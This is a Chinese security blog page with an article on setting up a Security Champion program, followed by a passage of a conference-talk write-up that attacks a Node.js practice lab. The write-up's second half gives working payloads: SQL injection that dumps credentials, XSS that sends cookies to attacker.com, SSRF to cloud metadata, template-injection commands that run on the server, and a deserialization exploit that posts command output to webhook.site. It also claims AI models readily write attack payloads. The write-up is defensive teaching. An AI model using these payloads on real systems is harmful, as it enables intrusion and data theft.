記住,沒有度量的安全是盲目的努力,而有度量的安全是持續進化的力量。

讓我們用數據,讓安全的價值被每一個人看見。


延伸閱讀

[安全教育] 001 Security Champion 計畫:讓開發者成為安全推手|建立機制、培訓與激勵的完整實戰指南

「最好的防火牆,不是裝在伺服器上的那道,而是裝在每個開發者腦中的那道。
Security Champion 不是多一個頭銜,而是讓安全有了在每個團隊生根的土壤。」
— SSDLC by 飛飛


一、Security Champion 是什麼?為什麼你的團隊需要「安全種子選手」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求、安全設計、安全編碼、安全測試、安全部署、安全維運。到了階段七:教育與持續改進(Education & Continuous Improvement)——也就是社區防災演練、經驗傳承的階段。

但這裡有一個殘酷的現實:再好的安全制度,如果沒有「人」在團隊裡日復一日地推動,最終都會變成牆上的海報。

想像你住的社區,管委會請了一位消防顧問來演講,大家聽完拍拍手,然後繼續把滅火器當門擋用。但如果你們棟有一位鄰居,本身就住在這裡、了解大家的習慣,他會在群組裡提醒「瓦斯記得關」、在樓梯間順手檢查滅火器、住戶裝修時提醒「不要擋到消防通道」——這位鄰居就是你的 Security Champion

Security Champion(安全冠軍 / 安全倡導者) 是開發團隊中願意多學一點資安知識、在日常開發中推廣安全實踐的開發者。他們不是資安專家,也不需要轉職成資安工程師,而是在原本的開發角色上,多戴一頂安全的帽子

面向 專職資安團隊 Security Champion
身份 獨立的資安部門成員 開發團隊中的一員
比喻 消防局派來的消防員 社區裡懂消防的鄰居
優勢 專業深度、全局視野 了解團隊痛點、即時回應
劣勢 不了解每個團隊的細節 安全知識有限,需要持續學習
角色 制定政策、審計、應變 推廣實踐、第一線把關、橋樑溝通

根據 OWASP Security Champions Playbook 的定義,Security Champion 是團隊中安全事務的單一聯絡窗口,他們與資安團隊保持聯繫、監督安全最佳實踐的落實,並協助推動安全文化活動。

飛飛觀點:
在台灣,很多中小型軟體公司根本沒有專職資安人員。這不代表你可以不做安全——而是代表你更需要 Security Champion。就像小公寓沒有物管公司,更需要有個熱心鄰居幫忙注意門禁安全。


二、沒有 Security Champion 會怎樣?那些血淋淋的場景

在你決定要不要建立 Security Champion 計畫之前,先看看沒有它的團隊長什麼樣子:

場景一:資安警報變成噪音
CI/CD Pipeline 加入了 SAST 掃描(太好了,你讀了前幾篇文章!),每次掃出 20 條警告。但沒有人知道哪些重要、哪些是誤報,開發者開始習慣性忽略。三個月後,Pipeline 裡的安全掃描變成了裝飾品。

場景二:安全知識斷層
團隊裡那個懂資安的前輩離職了。他腦中的安全設計決策、為什麼密碼要用 Argon2 而不是 bcrypt、為什麼那個 API 要加 Rate Limit——全部跟著他走了。新人接手後,這些防護措施逐漸被「簡化」掉。

場景三:資安團隊變成瓶頸
公司有一個兩人的資安團隊,但他們要審全公司八個團隊的程式碼。結果?安全審查排隊排到天荒地老,開發者為了趕 deadline 直接跳過安全審查上線。

場景四:安全只在出事時被想起
平時大家各忙各的,直到某天客戶資料外洩上了新聞。老闆緊急召開會議:「誰來負責?」大家面面相覷——因為安全從來不是「誰的事」。

這些場景有沒有很眼熟?Security Champion 計畫正是為了解決這些問題而存在的。


三、Security Champion 的角色定義:他們到底要做什麼?

Security Champion 不是「兼職資安工程師」,也不是「背鍋俠」。他們的角色更像是一座橋——連結開發團隊與資安團隊,讓安全知識能在日常開發中流動。

核心職責清單

## Security Champion 職責定義

### 日常職責(每週投入 2-4 小時)
- [ ] Code Review 時關注安全面向(輸入驗證、權限檢查、錯誤處理)
- [ ] 協助團隊判讀 SAST / DAST / SCA 掃描結果
- [ ] 在 Sprint Planning 提出安全考量(「這個功能需要做威脅建模嗎?」)
- [ ] 追蹤團隊的安全技術債,確保高風險項目被排入修復計畫

### 推廣職責(每月 2-4 小時)
- [ ] 在團隊內分享最新的安全漏洞案例或技術趨勢
- [ ] 帶領團隊做安全相關的 Workshop 或 Lunch & Learn
- [ ] 維護團隊的安全 Checklist 和最佳實踐文件

### 橋樑職責(持續性)
- [ ] 作為團隊與資安團隊之間的聯絡窗口
- [ ] 將資安團隊的政策「翻譯」成開發者聽得懂的語言
- [ ] 回報團隊遇到的安全工具問題或流程卡點
- [ ] 參加跨團隊的 Security Champion 定期會議

### 進階職責(視經驗逐步加入)
- [ ] 協助進行新功能的威脅建模(STRIDE 分析)
- [ ] 撰寫安全相關的自訂 Semgrep / ESLint 規則
- [ ] 協助規劃安全驗收標準(Gherkin 格式)
- [ ] 在事件回應時提供技術支援

Security Champion ≠ 這些角色

很多團隊對 Security Champion 有誤解,這裡先釐清:

Security Champion Security Champion 不是
安全意識的推廣者 所有安全工作的執行者
團隊的安全諮詢窗口 唯一需要關心安全的人
資安團隊的延伸觸角 資安團隊的替代品
持續學習安全的開發者 已經精通資安的專家
提出安全建議的人 有權否決功能上線的人

飛飛觀點:
最常見的失敗原因是把 Security Champion 當成「免費的資安工程師」——什麼安全工作都丟給他,但不給他時間、資源和支持。這就像讓一個志工消防員去處理化學工廠大火,既不公平也不實際。


四、從零建立 Security Champion 計畫:六步驟實戰指南

第一步:取得管理層支持(最重要的一步)

沒有管理層的支持,Security Champion 計畫注定失敗。因為 Champion 需要被允許在工作時間花一部分精力在安全上。如果主管認為「寫 Code 才是正事,搞安全是浪費時間」,那 Champion 就會在產出壓力和安全責任之間被夾扁。

怎麼說服老闆?用數據和錢說話:

## 給主管的電梯簡報

### 問題
- 台灣企業每年因資安事件平均損失 NT$ 3,200 萬
- 上線後才發現的安全漏洞,修復成本是設計階段的 30-100 倍
- 我們目前沒有人在開發過程中把關安全

### 解決方案
- 建立 Security Champion 計畫
- 每個團隊指定一位開發者,每週投入 2-4 小時關注安全
- 不需要額外招人,不需要大額預算

### 預期效益
- 安全漏洞在開發階段被發現的比率提升 40-60%
- 減少上線後的安全修補成本
- 提升團隊整體安全意識與程式碼品質
- 符合客戶與法規(個資法、資安法)的安全要求

### 需要的支持
- 允許 Champion 每週有 2-4 小時的安全學習與實踐時間
- 提供基礎的培訓資源(約 NT$ 30,000-50,000 / 年)
- 在績效考核中認可 Champion 的貢獻

第二步:選對人(心態比技能重要)

Security Champion 不需要是團隊裡技術最強的人,但一定要是對安全有好奇心、願意學習、能影響他人的人。

理想的 Security Champion 特質:

  • 好奇心強:看到一個 API 會想「如果有人亂打參數會怎樣?」
  • 樂於分享:願意在團隊內分享學到的東西,不藏私
  • 溝通能力好:能把技術概念用大家聽得懂的方式說明
  • 有影響力:團隊成員信任他、願意聽他的建議
  • 主動積極:不需要人追著跑,自己會找資源學習

建議的人數比例: 每 5-10 位開發者配一位 Security Champion。太少覆蓋不了,太多反而沒人認真投入。

選人方式:

方式 優點 缺點
自願報名 動機最強、投入度高 可能沒人報名
主管推薦 可確保每個團隊都有 被推薦的人可能不情願
結合兩者 平衡覆蓋率與投入度 需要更多溝通協調

台灣場景的建議: 先從自願報名開始,搭配一場「Security Champion 是什麼」的說明會。我的經驗是,當大家知道這不是額外加班,而是有資源支持的成長機會時,通常都會有人主動舉手。

飛飛觀點:
最怕的就是「被志願」的 Champion。研究指出,被強迫擔任的 Champion 往往會心生不滿、敷衍了事。招募應該強調吸引力和好奇心,而不是強制指派。如果一個團隊真的沒人想當,那代表安全文化需要先從更基礎的地方開始培養。


第三步:建立培訓路線圖(漸進式學習)

Security Champion 不需要一開始就精通所有資安知識。好的培訓計畫是漸進式的——先打基礎,再逐步加深。

培訓路線圖(建議 6 個月為一個週期)

第 1 個月:安全意識基礎
├─ OWASP Top 10 概覽(讀完本系列文章就夠了!)
├─ 常見漏洞 Demo(SQL Injection、XSS 實際操作)
├─ 認識團隊使用的安全工具(SAST、DAST、SCA)
└─ 完成 OWASP Juice Shop 前 10 個挑戰

第 2-3 個月:工具與流程實戰
├─ 學會判讀 SonarQube / Semgrep 的掃描報告
├─ 練習做簡單的 Code Review(安全面向)
├─ 參與一次威脅建模 Workshop(STRIDE)
└─ 撰寫第一份 Abuse Case

第 4-5 個月:深化與分享
├─ 學習進階主題(認證授權設計、密碼學基礎、供應鏈安全)
├─ 在團隊內做一次 Lunch & Learn 分享
├─ 協助定義一個功能的安全驗收標準
└─ 參加外部資安社群活動或研討會

第 6 個月:評估與規劃
├─ 自我評估成長(對照初始基準)
├─ 收集團隊回饋
├─ 規劃下一期的學習重點
└─ 將經驗文件化,加入團隊知識庫

推薦的學習資源:

資源 類型 費用 適合階段
SSDLC by 飛飛 系列文章 文章 免費 第 1 個月
OWASP Juice Shop 實作平台 免費 第 1-2 個月
PortSwigger Web Security Academy 線上課程 + Lab 免費 第 2-3 個月
OWASP Security Champions Guide 指南 免費 持續參考
AWS Security Champion Knowledge Path 線上課程 + Badge 付費(Skill Builder) 第 3-5 個月
資安實務研討會(如 HITCON、CYBERSEC) 研討會 付費(NT$ 2,000-8,000) 第 4-5 個月

第四步:建立溝通機制與社群

Security Champion 不該是孤軍奮戰。他們需要一個互相支持的社群。

建議建立以下溝通管道:

1. 專屬 Slack / Teams 頻道
建一個 <code>#security-champions</code> 頻道,讓所有 Champion 可以:

  • 分享遇到的安全問題和解決方式
  • 討論掃描結果中不確定的發現
  • 轉發最新的安全資訊和漏洞通報

2. 雙週定期會議(30 分鐘)
每兩週一次的短會議,議程很簡單:

## Security Champion 雙週會議議程(30 分鐘)

1. 【5 分鐘】近期安全動態(資安團隊分享)
2. 【10 分鐘】各團隊安全近況回報
   - 有沒有遇到新的安全問題?
   - 掃描結果有什麼需要討論的?
   - 有沒有什麼安全改善的好消息?
3. 【10 分鐘】主題討論 / 案例分享
   - 輪流由一位 Champion 分享學到的東西
4. 【5 分鐘】行動項目確認

3. 知識庫(Wiki / Notion / Confluence)
集中管理所有安全相關的知識:

/security-knowledge-base
  /onboarding           ← 新進 Champion 的入門指南
  /checklists           ← 各類安全 Checklist
  /case-studies         ← 團隊遇過的安全案例
  /tool-guides          ← 安全工具使用指南
  /templates            ← 威脅建模、Abuse Case 模板
  /meeting-notes        ← 雙週會議紀錄

第五步:設計激勵機制(讓人想繼續做下去)

Security Champion 是額外付出時間和精力的角色,如果沒有適當的激勵,熱情很快就會消退。

激勵不只是獎金,而是認可、成長和影響力。

激勵類型 具體做法 成本
公開認可 在全公司月會上介紹 Champion 和他們的貢獻 免費
學習資源 贊助參加資安研討會(如 HITCON、CYBERSEC) NT$ 3,000-8,000 / 次
證照補助 補助考取 Security+ 或 CEH 等證照 NT$ 10,000-30,000
績效認可 將 Champion 工作納入績效考核的加分項目 免費
成長路徑 提供 Tech Lead 或 Security Engineer 的晉升參考 免費
季度表彰 「最佳安全倡導者」獎,附贈小禮物或獎金 NT$ 1,000-3,000
時間保障 明確規定每週有 2-4 小時的安全學習時間 免費(但最珍貴)

台灣企業的實戰做法:

  • 某台灣電商公司:每季評選「安全之星」,在公司群組公開表揚,並送一張 NT$ 3,000 的書券(買技術書籍用)
  • 某台灣金融科技新創:Security Champion 的工作納入 OKR,佔個人績效的 10%,確保主管不會忽視他們的貢獻
  • 某台灣 SaaS 公司:每年贊助一位 Champion 去參加海外資安研討會,回來後做一場公司內部分享

飛飛觀點:
在所有激勵中,「時間保障」是最重要的。很多公司口頭支持安全,但 Champion 一忙起來就被要求「先趕功能,安全的事晚點再說」。如果連學習和實踐的時間都沒有,其他激勵都是空談。


第六步:衡量成效,持續改進

Security Champion 計畫不是設立了就萬事大吉。你需要追蹤指標,確認計畫真的有在產生效果。

建議追蹤的指標:

// Security Champion 計畫成效指標
const securityChampionMetrics = {
  // 安全品質指標
  vulnerabilities: {
    '開發階段發現的漏洞數': '應該逐漸增加(代表更多問題被提前發現)',
    '上線後才發現的漏洞數': '應該逐漸減少',
    '平均漏洞修復時間': '應該逐漸縮短',
    'SAST 掃描合格率': '應該逐漸提升',
  },

  // 文化指標
  culture: {
    'Champion 活動參與率': '每月分享會的出席率',
    'Security PR Review 參與度': 'Champion 參與安全相關 Code Review 的頻率',
    '安全議題提出次數': 'Sprint Planning 中提出安全考量的次數',
    '知識庫更新頻率': '安全文件被新增或更新的次數',
  },

  // Champion 個人成長指標
  growth: {
    '培訓完成率': '預定課程的完成比例',
    '安全技能自評分數': '每季一次,1-5 分自評',
    '分享次數': 'Lunch & Learn 或文章分享的次數',
  },

  // 滿意度指標
  satisfaction: {
    'Champion 滿意度': '對計畫的整體滿意度(季度調查)',
    '團隊感受': '團隊成員是否感覺安全意識有提升',
  }
};

簡易的季度報告模板:

## Security Champion 計畫 Q_ 季度報告

### 本季重點數據
- Security Champion 人數:_ 人(覆蓋 _ 個團隊)
- 開發階段發現漏洞:_ 件(上季:_ 件)
- 上線後安全事件:_ 件(上季:_ 件)
- 平均漏洞修復時間:_ 天(上季:_ 天)

### 本季活動
- 舉辦 _ 場安全分享會
- 完成 _ 次威脅建模
- 更新 _ 份安全文件

### 成功案例
[記錄一個具體的、Champion 發現或預防安全問題的案例]

### 挑戰與改進
[記錄遇到的困難和下季改進方向]

五、台灣場景實戰:一個 20 人團隊的導入案例

讓我們用一個虛構但寫實的台灣場景,走一遍 Security Champion 計畫的完整導入。

背景

「好買網」是一間台灣的中型電商平台,團隊 20 人(3 個 Scrum 小組,每組 5-7 人),使用 Node.js + React 技術棧。沒有專職資安人員,過去安全靠上線前找外部廠商做一次滲透測試。

導入過程

Month 0:準備階段
CTO 閱讀了 SSDLC 系列文章(就是你現在在看的這個系列),決定導入 Security Champion 計畫。他向 CEO 提出提案,用「去年滲透測試發現 15 個高風險漏洞,修復花了 3 個 Sprint」的數據說服管理層支持。

Month 1:啟動

  • 舉辦一場 1 小時的全員說明會,介紹 Security Champion 計畫
  • 三個 Scrum 小組各有一人自願報名(前端組的小美、後端組的阿凱、DevOps 組的志明)
  • 每位 Champion 每週有 3 小時的安全學習時間
  • 建立 <code>#security-champions</code> Slack 頻道

Month 2-3:基礎培訓

  • 三人一起讀完 SSDLC 系列文章的安全需求和安全編碼篇
  • 各自完成 OWASP Juice Shop 前 15 個挑戰
  • 阿凱在 Code Review 時發現一個 SQL Injection 風險,提交修復 PR
  • 志明把 Semgrep 的掃描結果整理成團隊看得懂的報告格式

Month 4-6:實戰累積

  • 小美在 Sprint Planning 提出「這個新的社群分享功能需要做 Abuse Case 分析」
  • 三人合作完成了登入系統的 STRIDE 威脅建模
  • 阿凱做了第一場 Lunch & Learn:「我如何用 5 分鐘在好買網找到 XSS 漏洞」(用測試環境 demo)
  • 志明建立了團隊的「部署前安全 Checklist」
  • 外部滲透測試結果:高風險漏洞從去年的 15 個降到 4 個

Month 7-12:持續改進

  • 新進的開發者入職時,由 Champion 帶他做一次安全基礎導覽
  • 建立了安全知識庫,累積了 12 篇安全案例
  • CTO 在年度大會上公開表揚三位 Champion
  • 阿凱開始對團隊的自訂 Semgrep 規則做貢獻
  • 計畫吸引了另外兩位開發者加入,Champion 團隊擴大到 5 人

成果數據

指標 導入前 導入後(一年)
外部滲透測試高風險漏洞數 15 個 4 個
開發階段發現的安全問題 0 件 / 季 12 件 / 季
安全修復平均時間 14 天 3 天
團隊安全意識自評(1-5) 2.1 分 3.8 分
Sprint Planning 提出安全議題次數 0 次 / 月 4 次 / 月

六、Security Champion 的成熟度模型:你的計畫在哪個階段?

Security Champion 計畫不是一步到位的,它有自己的成長曲線。以下是四個成熟度等級,幫你評估目前的狀態和下一步方向:

等級 名稱 特徵 下一步行動
Level 1 萌芽期 剛指定 Champion,角色定義模糊,培訓剛開始 明確職責、建立培訓路線圖
Level 2 建立期 Champion 開始在 Code Review 中關注安全,定期會議已建立 建立激勵機制、開始量化指標
Level 3 成長期 Champion 主動發現問題、帶動團隊文化改變、有系統的知識分享 深化技能(威脅建模、自訂規則)、建立知識庫
Level 4 成熟期 安全融入開發日常、Champion 影響架構決策、形成安全社群 建立 Community of Practice、影響組織策略

根據 BSIMM(Building Security In Maturity Model)的數據,在安全成熟度最高的企業中,有 92% 設有 Security Champion 計畫,而成熟度最低的企業只有 32%。這充分說明了 Security Champion 與組織安全水準的正相關。


七、常見問題 FAQ

Q1:我們團隊只有 5 個人,也需要 Security Champion 嗎?

需要,而且更需要。小團隊沒有專職資安人員,代表安全責任完全分散,結果就是沒人負責。指定一位 Champion,哪怕每週只花 1-2 小時關注安全,都比「大家都有責任 = 沒人有責任」好太多了。

Q2:Security Champion 需要什麼背景?需要資安證照嗎?

不需要任何資安背景或證照。最重要的是對安全有興趣和好奇心。培訓計畫會逐步補足知識。事實上,很多優秀的 Champion 是從「想知道為什麼這行程式碼不安全」這個好奇心開始的。證照可以作為後續的成長目標,但絕不是門檻。

Q3:Champion 會不會變成團隊的瓶頸?什麼安全決策都要經過他?

不應該。Champion 的角色是「推廣者」和「諮詢者」,不是「審核者」。安全檢查應該盡量自動化(SAST、DAST、SCA 整合進 CI/CD),Champion 負責的是幫助團隊理解掃描結果、推動安全文化,而不是親自審每一行 Code。

Q4:如果 Champion 離職了怎麼辦?

這正是為什麼每個團隊至少要有一位 Champion、公司整體要有多位 Champion 的原因。另外,Champion 累積的知識應該被文件化在知識庫中,而不是只存在個人腦中。建議每位 Champion 培養至少一位「備援」,就像值班制度一樣。

Q5:這跟之前文章提到的「威脅建模引導者」是同一個角色嗎?

是的!在威脅建模入門那篇文章中提到的「威脅建模引導者」,就是 Security Champion 的職責之一。Champion 是一個更全面的角色,威脅建模、安全 Code Review、工具結果判讀、安全教育——這些都是 Champion 的工作範疇。


八、Security Champion Onboarding Checklist

如果你已經決定要成為或指定 Security Champion,以下是一份可以直接使用的入職清單:

## Security Champion 新手入職 Checklist

### 第一週:認識角色
- [ ] 閱讀 Security Champion 職責定義文件
- [ ] 加入 #security-champions 頻道
- [ ] 認識資安團隊的聯絡窗口
- [ ] 了解公司目前使用的安全工具(SAST、DAST、SCA)
- [ ] 閱讀 SSDLC by 飛飛 的「什麼是 SSDLC」入門文章

### 第一個月:打基礎
- [ ] 完成 OWASP Top 10 概覽學習
- [ ] 在 OWASP Juice Shop 完成前 10 個挑戰
- [ ] 學會查看 CI/CD Pipeline 中的安全掃描報告
- [ ] 在一次 Code Review 中嘗試從安全角度提出建議
- [ ] 參加第一次 Security Champion 雙週會議

### 第二個月:開始實踐
- [ ] 獨立判讀一次 SAST 掃描結果(區分真陽性和誤報)
- [ ] 在 Sprint Planning 中提出至少一個安全考量
- [ ] 閱讀 SSDLC 系列的安全需求和安全編碼文章
- [ ] 建立或更新一份團隊的安全 Checklist

### 第三個月:分享與連結
- [ ] 在團隊內做一次 15 分鐘的安全分享
- [ ] 將一個學到的安全知識寫成文件,加入知識庫
- [ ] 嘗試為一個功能撰寫 Abuse Case
- [ ] 評估自己的學習進度,規劃下一階段目標

九、結語:安全文化的最小可行單位,是一個願意多想一步的人

工具可以自動掃描、流程可以強制執行、政策可以寫得很漂亮——但真正讓安全在團隊裡生根發芽的,是

Security Champion 不是一個華麗的頭銜,而是一個簡單的承諾:「我願意在寫程式的同時,多想一步——這行 Code 安全嗎?這個設計會不會被攻擊者利用?這個錯誤訊息會不會洩露太多資訊?」

在 SSDLC 蓋房子的旅程中,我們學了怎麼寫安全需求、怎麼做威脅建模、怎麼安全編碼、怎麼做測試、怎麼強化系統。但所有這些知識,都需要有人在每一天的開發工作中去實踐。Security Champion 就是那個把知識變成行動的人。

回想一下你家社區裡那位熱心的鄰居——他不需要是消防員、不需要是保全專家,但因為他的存在,整個社區都更安全了一點。

你,願意成為你團隊的那個人嗎?

安全不是恐懼,而是創造的基礎。
當團隊裡有人願意為安全多想一步,安全文化就不再是政策文件裡的口號——而是每一次 Code Review、每一次 Sprint Planning、每一次部署中,自然而然發生的事。


延伸閱讀

[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南

本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。

活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw

前言

當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:

X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)

這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。

但知道這是 Node.js,真的改變了什麼嗎?

這個問題貫穿了整場演講,也是本文想要探討的核心。


實驗環境

本文所有攻擊都可以在以下環境中實際練習:

⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。


第一部分:攻擊者視角

一、識別 Node.js 的方法

在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:

1.1 HTTP Response Headers

curl -I https://nodelab.feifei.tw

觀察回應中的:

  • X-Powered-By: Express — 最直接的線索
  • Server: nginx — 配合其他線索判斷

1.2 Cookie 命名慣例

打開瀏覽器開發者工具 → Application → Cookies,觀察:

  • connect.sid — Express Session 的預設名稱

1.3 錯誤訊息洩漏

故意觸發錯誤,觀察 Stack Trace 中是否包含:

  • node_modules
  • at Object.<anonymous>
  • Express 相關路徑

1.4 使用 Wappalyzer

安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。


二、通用漏洞(與語言無關)

以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%

2.1 SQL Injection

Lab 路徑https://nodelab.feifei.tw/api/articles/

漏洞程式碼

// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};

攻擊流程

Step 1:探測漏洞

curl "https://nodelab.feifei.tw/api/articles/'"

如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。

Step 2:確定欄位數量(ORDER BY)

# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -"  # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -"  # 失敗
# 結論:有 6 個欄位

Step 3:取得資料庫版本

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"

Step 4:列出所有資料表

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"

Step 5:取得 users 表的欄位

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"

Step 6:取得帳號密碼

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"

預期結果

test:password123,admin:secret1

2.2 XSS(跨站腳本攻擊)

反射型 XSS

Lab 路徑https://nodelab.feifei.tw/search

漏洞程式碼

app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(你搜尋的關鍵字是:${keyword});  // 直接輸出,未轉義
});

攻擊 Payload

https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>

竊取 Cookie 的 Payload

https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS

Lab 路徑https://nodelab.feifei.tw/form

測試 Payload

類型 Payload 預期結果
HTML 注入 <h1>這是標題</h1> 顯示為 H1 標題
CSS 注入 <style>body{background:red}</style> 背景變紅
JS 注入 <script>alert(‘XSS’)</script> 彈出對話框

2.3 JWT 誤用

Lab 路徑https://nodelab.feifei.tw/api/auth/login

漏洞程式碼

// 絕對不要這樣寫!
const token = jwt.sign({
  id: user.id,
  username: user.username,
  password: user.password  // 密碼放進 JWT!
}, secretKey);

💬 講者原話:「大家不要笑,這些全部都是真實的案例。」

這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。

攻擊方式

  1. 取得 JWT Token

    curl -X POST https://nodelab.feifei.tw/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password123"}'
  2. 解碼 JWT(到 https://jwt.io

    • JWT 中間部分是 Base64 編碼
    • 解碼後可能看到明文密碼

2.4 敏感資料洩露

Lab 路徑https://nodelab.feifei.tw/api/users

漏洞程式碼

app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);  // 直接回傳整個物件,包含密碼
});

💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」

「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」

請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。

為什麼 Vibe Coding 容易出現這個問題?

當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。

攻擊方式

curl https://nodelab.feifei.tw/api/users/1

可能的回傳

{
  "id": 1,
  "username": "admin",
  "email": "admin@example.com",
  "password": "hashed_password_here",
  "created_at": "2024-01-01"
}

2.5 SSRF(伺服器端請求偽造)

Lab 路徑https://nodelab.feifei.tw/fetch

漏洞程式碼

app.get('/fetch', async (req, res) => {
  const { url } = req.query;
  const response = await axios.get(url);  // 直接請求使用者提供的 URL
  res.json(response.data);
});

攻擊 Payload

存取內部 API

curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"

讀取本機檔案(如果支援 file 協定):

curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"

存取雲端 Metadata(AWS/GCP):

curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"

💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。

真實案例場景

攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:

  1. 啟動大量 EC2 實例進行挖礦
  2. 存取 S3 Bucket 中的敏感資料
  3. 修改安全群組設定
  4. 建立新的 IAM 使用者作為後門

這就是為什麼很多公司會突然收到巨額的雲端帳單。


三、Node.js 特定漏洞

以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)

3.1 SSTI(伺服器端模板注入)

Lab 路徑

模板引擎 URL
JsRender https://nodelab.feifei.tw/ssti/JsRender-demo
PugJS https://nodelab.feifei.tw/ssti/PugJS-demo
Nunjucks https://nodelab.feifei.tw/ssti/Nunjucks-demo
Step 1:確認 SSTI 漏洞存在

JsRender

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:7*7}}"}'
# 預期結果:49

PugJS

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{7*7}"}'
# 預期結果:49

Nunjucks

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊

💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」

你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。

「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」

JsRender – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'

PugJS – 建立檔案

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'

Nunjucks – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'

⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。


3.2 不安全的反序列化

Lab 路徑https://nodelab.feifei.tw/api/serialize

漏洞程式碼

const serialize = require('node-serialize');

app.post('/api/serialize', (req, res) => {
  const data = serialize.unserialize(req.body);  // 危險!
  res.json(data);
});

攻擊 Payload

基本測試

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

RCE – Console.log

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'

RCE – 讀取系統資訊(Out-of-Band)

# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){const  https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'

3.3 Prototype Pollution(原型污染)

概念說明

JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。

漏洞程式碼

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

